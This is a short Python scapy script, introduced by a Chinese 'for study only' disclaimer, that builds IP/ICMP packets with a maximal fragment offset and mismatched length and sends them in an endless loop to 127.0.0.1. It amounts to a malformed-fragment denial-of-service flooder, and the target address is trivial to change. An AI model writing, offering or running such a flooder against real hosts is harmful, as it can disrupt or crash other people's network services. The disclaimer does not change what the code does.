仅供学习参考，禁止用于其他非法途径

    from scapy.all import *
    
    def ip_fragment(packet):
        sendp(packet)
    
    eth = Ether()
    ip  = IP()
    ip.dst = '127.0.0.1'
    ip.frag = 0x1FFF
    ip.len = 100
    icmp = ICMP()
    
    m = 0
    
    while True:
        packet = eth/ip/icmp
        ip_fragment(packet)
        print('Sending IP Fragment Packet To %s '%ip.dst)
        m = m + 1
        print (m)